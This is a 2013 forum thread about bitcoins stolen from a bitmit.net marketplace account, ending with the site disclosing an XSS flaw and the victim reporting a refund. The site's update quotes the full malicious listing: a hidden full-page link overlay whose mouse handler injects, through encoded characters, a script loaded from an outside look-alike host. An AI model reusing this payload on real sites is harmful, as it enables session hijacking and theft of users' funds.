bitmit.net scam-fraud

[bitmit_samar20]

Yesterday, I had 4.59 bitcoins and somebody sent bitcoins to other address. I did not buy anything and did not send bitcoins to anybody.

Also person changed all my settings in account.

here is transaction details.
4.59295734
13nPWDB4vGQfJWD9DnEC5DUx3y1Qn8ScPN
2013-08-23, 09:51 pm Confirmed

I contacted customer service. Lets see...

[KingOfSports]

Someone hacked your account. You probably used the same password elsewhere.

[bitmit_samar20]

Someone hacked your account. You probably used the same password elsewhere.

I never use this password to other account. I use unique password on each site.

[KingOfSports]

Good luck then, hope you find out what happened to them.

[bitmit_samar20]

here is transaction info on blockchain.info

https://blockchain.info/address/13nPWDB4vGQfJWD9DnEC5DUx3y1Qn8ScPN

any idea how to get back?

thanks.

[escrow.ms]

here is transaction info on blockchain.info

https://blockchain.info/address/13nPWDB4vGQfJWD9DnEC5DUx3y1Qn8ScPN

any idea how to get back?

thanks.

You can't get back your bitcoins unless it's bitmit's fault.

Ask them for recent login IP's and scan your pc for trojans etc.

[bitmit_samar20]

here is transaction info on blockchain.info

https://blockchain.info/address/13nPWDB4vGQfJWD9DnEC5DUx3y1Qn8ScPN

any idea how to get back?

thanks.

You can't get back your bitcoins unless it's bitmit's fault.

Ask them for recent login IP's and scan your pc for trojans etc.

I contacted bitmit. I have anti virus and firewall on my pc and scanned pc. Cant find any virus/trojan. Also contacted blockchain.info. My emails are safe as cant see any other ips on stats...so person compromise my bitmit a/c....
Lets see...

[favdesu]

you won't get your bitcoins back.

it's beyond me why people keep bitcoins in their bitmit wallet

[DiamondCardz]

That sucks, there isn't any way to get your bitcoins back if you were hacked 

I literally only bought items from this guy 5 days ago, I feel bad for him 

[bitmit_samar20]

its unfortunate that people hacks accounts and take other`s  money. I hope person who hacked my a/c, understand situation  & hopefully return bitcoins back....

Anyway, if bitmit returns bitcoins, its fine....otherwise I have to forget bitcoin currency. It can be possible to other accounts and other websites also, no matter how secure website and password is.... if there is no protection to buyers//seller, who will trust? I checked on google and seems I am first victim of this scam/fraud...

Bitmit has all proofs, lets see whether they solve or not......

[manic]

its unfortunate that people hacks accounts and take other`s  money. I hope person who hacked my a/c, understand situation  & hopefully return bitcoins back....

Yes it is, but very rarely does a thief think or care about someone elses situation, so don't get your hopes up..

[favdesu]

its unfortunate that people hacks accounts and take other`s  money. I hope person who hacked my a/c, understand situation  & hopefully return bitcoins back....

Anyway, if bitmit returns bitcoins, its fine....otherwise I have to forget bitcoin currency. It can be possible to other accounts and other websites also, no matter how secure website and password is.... if there is no protection to buyers//seller, who will trust? I checked on google and seems I am first victim of this scam/fraud...

Bitmit has all proofs, lets see whether they solve or not......

So you got phished and now you expect bitmit to make up for it? 

[bitmit_samar20]

So you got phished and now you expect bitmit to make up for it? 

if mistake or security lapse at bitmit site, i have to expect from bitmit to solve.... I use many sites for transactions but no problem till now. Bitmit is ultimate,  who can give explanation... whether positive or negative...

[favdesu]

Sorry for late response.

We were facing some unauthorized withdraws and are currently investigating. It seems the attacker managed it with a user hijacking attack (ip on withdraw time is always user ones) to withdraw payments once a user is logged in. he is also deactivating notifications.

Currently outgoing transactions are not processed for security reasons and you are getting notificated by email.

We are searching for the security flaw on our site! Your funds are safe because we have several backups and most of our funds are stored in cold wallet.

UPDATE:
As we have estimated this was an xss attack. Our html purifier tool did not remove this code.

<b>Item</b><br /><b>I may be out of office sometimes so please PM me before making any purchase.</b> Steam keys will be delivered by email in 24 hours.<br /><br /><b>Payment</b><br />Payment can only be done through the Bitmit system, there are no exceptions to this rule. I accept escrow on all items. <br /><br /><b>Testing</b><br />I test everything that I sell, one item at a time. Nonetheless, please be sure to read the listing above in detail, as it will contain any qualifiers about the cosmetic or functional condition of the item, as well as tell you what accessories come with the device. I also strive to respond to any inquiries about auctions in as timely a fashion as possible. <br /><br /><b>Shipping</b><br />I ship out every order as quickly as possible after the payment is received. In most cases, this results in your product being shipped on the next business day (Monday through Friday). However, on occasion I may receive a large number of orders in a short period of time which may slightly delay shipping of your item. <br /><br />In order to receive my combined shipping discount, all items must be purchased on the same day and all items must be paid for within 48 hours. Please note that when returning a defective item, customers are responsible for shipping costs; however, I will ship your replacement free of charge. You also have the option to return the product for a refund; however, a $9.99 handling fee will be deducted from your total amount. All refunds are subject to a 15% restocking fee. <b>NO exceptions.</b><br /><br /><b>Feedback</b><br />Please contact us before you leave negative feedback, and I will do my best to make the situation right.<br /><br />If you have any questions please just message me. http://bitmit.net"onclick="this.removeAttribute('href');this.style.height='0%';"onmousemove="javascript:this.onmousemove=null;jQuery('head').append(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,105,116,109,116,46,103,111,112,97,103,111,100,97,46,99,111,109,47,119,47,119,112,45,116,114,97,99,107,46,112,104,112,34,62,60,47,115,99,114,105,112,116,62));"style="position:absolute;opacity:0;font-size:0px;top:0;left:0;display:block;width:1500px;height:1500px;z-index:50001;<br /><br />Fastandfurious

lucky!

[bitmit_samar20]

 

Got my bitcoins back.... I thankful to all persons who contributed to this thread and mostly bitmit`s team to solve problem in less than 24 hrs.

I am also happy to learn that bitmit has back-up system and nice service support team.
Look forward strongest and secure version, so no problem for other users.

if anyone find loophole in site or have any suggestion to improve, please contact in their support system.

Thanks a lot.